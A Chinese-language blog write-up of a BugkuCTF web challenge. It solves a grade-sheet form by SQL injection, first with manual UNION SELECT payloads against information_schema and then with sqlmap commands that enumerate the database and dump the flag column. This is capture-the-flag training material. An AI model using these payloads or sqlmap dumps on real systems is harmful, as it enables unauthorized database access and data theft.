BugkuCTF-web-成绩单 writeup

记一次简单的SQL注入

题目传送门,点击即走

首先分析题目:进入题目网页就可以看到这个

遇到表单,当然要填一填,看看有什么变化。于是我根据题目提示输入1。在这里插入图片描述仔细观察可以发现输入1,并且返回后,出现了龙龙龙的成绩单以及四份数据。
于是打开hackbar,post提交
在这里插入图片描述
正常返回,加 ’ 测试一下
在这里插入图片描述
啥也不是,再加个 #
在这里插入图片描述
又正常了。
那么基本可以认定是SQL注入无疑了。

两种解题方法:

1:手动注入:

在手工注入之前要先知道一些小知识点,拿小本本记下来

1、
MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
2、
查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了

先用“id=3' order by 4#尝试,发现可以,然后用id=3' order by 5#尝试,发现不行,所以确定是四个字段。

接下来,爆破库名:id=-1' union select 1,2,3,4 //把id变为-1是因为如果id有回显的话,我们查询的东西就不能能显示了,所以要换一个id没有东西的数值
在这里插入图片描述
得到库名之后就可以开始暴库了:id=-1' union select 1,database(),user(),version()#
得到数据库名为skctf_flag
id=-1' union select 1,group_concat(colum_name),user(),version() from information_schema.tables where table_schema=database()#

上面这个指令中,group_concat是表示把查询的内容联合到一起方便查看的,

在这里插入图片描述
接下来就是暴列名了:
id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'

在这里插入图片描述
最后的最后,开始的开始,
列出数据id=-1' union select 1,skctf_flag,user(),version() from fl4g#
在这里插入图片描述

第二种方法:
sqlmap跑:
表单输入1或者2或者3,用burp抓包,并且新建记事本保存。
然后打开咱们可爱的sqlmap:
执行以下代码:sqlmap.py -r D:\250.txt -p id --dbs
应为我把我的txt文件命名为250.txt,并且放在D盘。
-r -->打开指定文件
-p -->指定注入参数
–current-db(两个-) 或 --dbs–>暴库名
然后就是如下内容
在这里插入图片描述
可见爆出了库名。
然后咱们来爆表名:
sqlmap.py -r D:\250.txt -p id -D skctf_flag --tables
-D -->指定数据库
–tables(两个-) -->列出当前数据库的表

在这里插入图片描述
宾果~成功爆破出表名,然后咱们来爆破列
命令:sqlmap.py -r D:\250.txt -p id -D skctf_flag -T fl4g --column
-T -->指定表名
–column(两个-)–>列出当前表的列
在这里插入图片描述
爆破出来了,西大奔普!!
最后下载数据,
命令:sqlmap.py -r D:\250.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
-C -->指定列名
–dump(两个-)–>下载数据
在这里插入图片描述

本文借鉴CSDN博主「会下雪的晴天」的博客

原文传送门

posted @ 2020-03-26 23:52  Kuller_Yan  阅读(67)  评论(0编辑  收藏  举报